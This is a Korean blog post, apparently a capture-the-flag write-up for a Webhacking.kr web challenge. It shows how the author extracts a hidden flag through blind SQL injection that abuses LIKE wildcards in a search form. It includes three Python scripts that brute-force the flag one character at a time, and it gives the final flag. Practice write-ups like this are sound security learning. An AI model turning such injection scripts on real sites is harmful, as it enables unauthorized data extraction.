문제에 들어가 보면 검색기능과 게시판들이 보인다.
아마 sql injection으로 보인다.
먼저 admin으로 작성된 글을 읽으려 하면
접근이 거부된 걸 볼 수 있고
guest로 작성된 글은 hello~라는 글이 적힌 걸 볼 수 있다.
이제 검색 기능을 통해 admin에 적힌 글을 읽으면 해답을 찾을 수 있을 것 같다.
검색 기능을 이용해 보니
각각 hello와 guest를 적었을 때 차이점이 보이는 걸로 보아 검색기능은 글의 내용을 바탕으로 이루어지는 것 같다.
우선 다른 문제들과 다르게 소스코드가 없고 문제가 풀리는 조건이 없는 걸로 보아 flag를 제출하는 문제 같은데
flag제출 예시를 보면 FLAG {~~~} 형식으로 이루어지는 걸 알 수 있다.
이걸 토대로 FLAG를 검색해 보면
admin 글이 출력되는 걸로 보아 글 안에 FLAG가 존재하는 걸 알 수 있다.
일단 글의 내용이 포함되었을 때 admin글이 출력되므로 blind sql injection을 시도해 봤다.
import requests
import time
import threading
url="https://webhacking.kr/challenge/web-33/index.php"
cookies={"PHPSESSID":"cdit8fu4eksjl2jskf741acu0q"}
string="0123456789abcdefghijklmnopqrstuvwxyz}{!@#$%^&*"
flag = "flag{"
pw = ""
for i in range(1,100):
print(i)
for j in string:
datas= {
"search" : f"{flag+j}",
}
res=requests.post(url,data=datas,cookies=cookies)
if "admin" in res.text:
flag+=j
print("flag:",flag)
break
print("flag:",flag)
처음 시도한 코드는 숫자, 영어, 특수문자등을 넣어 출력해 봤는데
출력되는 값을 보니 FLAG값도 이상할 뿐더러 FLAG값이 끝나도 뒤에 %가 계속 붙는 걸 볼 수 있다.
이로 인해 sql문이 like로 작성되어 와일드카드가 쓰이는 게 아닌가 예상했다.
와일드카드는 이전에 풀어본 문제에서 볼 수 있는데
https://jh-hack.tistory.com/32
Lord of SQL Injection 15단계 (assassin)
이번에 처치할 몬스터는 assassin! 이번 코드를 보면 보기엔 너무 간단해 보였다. 딱 보자마자 id를 admin으로 바꿔주면 되는 거 아닌가 했는데 싱글쿼터(')가 필터링되어 있어서 어떻게 해야 되나 한
jh-hack.tistory.com
일단 FLAG의 전체적인 틀을 잡기 위해 해당위치의 문자를 나타내는 와일드카드인 _를 사용해요 출력해 봤다.
import requests
import time
import threading
url="https://webhacking.kr/challenge/web-33/index.php"
cookies={"PHPSESSID":"cdit8fu4eksjl2jskf741acu0q"}
string="0123456789abcdefghijklmnopqrstuvwxyz}{_" #다른 특수문자 삭제 및 와일드카드 _추가
flag = "flag{"
pw = ""
for i in range(1,100):
print(i)
for j in string:
datas= {
"search" : f"{flag+j}",
}
res=requests.post(url,data=datas,cookies=cookies)
if "admin" in res.text:
flag+=j
print("flag:",flag)
break
print("flag:",flag)
FLAG값 뒤에 계속 출력되지 않는 걸로 보아 와일드카드가 맞았고 이제 _자리에 어떤 문자가 들어갈지 찾아야 된다.
import requests
import time
import threading
url="https://webhacking.kr/challenge/web-33/index.php"
cookies={"PHPSESSID":"cdit8fu4eksjl2jskf741acu0q"}
string="0123456789abcdefghijklmnopqrstuvwxyz}{#*-?@!$^)(][_" #flag값에 영향을 주는 %를 제외한 특수문자 추가
flag = "flag{"
pw = ""
for i in range(1,100):
print(i)
for j in string:
datas= {
"search" : f"{flag+j}",
}
res=requests.post(url,data=datas,cookies=cookies)
if "admin" in res.text:
flag+=j
print("flag:",flag)
break
print("flag:",flag)
%는 와일드카드에서 개수와 상관없이 모든 문자를 뜻하므로 flag값에 영향을 줘 제외했다.
출력값을 보면 중간에 _가 들어가 있는 걸로 보아 이건 와일드카드가 아니라 문자형식으로 사용된 것을 알 수 있다.
flag{himiko_toga_is_cute_dont_you_think_so?}
flag 제출 시 정답인걸 확인할 수 있다.
'Web > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr Challenge old-43 문제 풀이 (0) | 2024.03.03 |
---|---|
Webhacking.kr Challenge old-10 문제 풀이 (0) | 2024.02.27 |
Webhacking.kr Challenge old-60 문제 풀이 (0) | 2024.02.16 |
Webhacking.kr Challenge old-11 문제 풀이 (0) | 2024.02.08 |
Webhacking.kr Challenge old-41 문제 풀이 (0) | 2024.02.06 |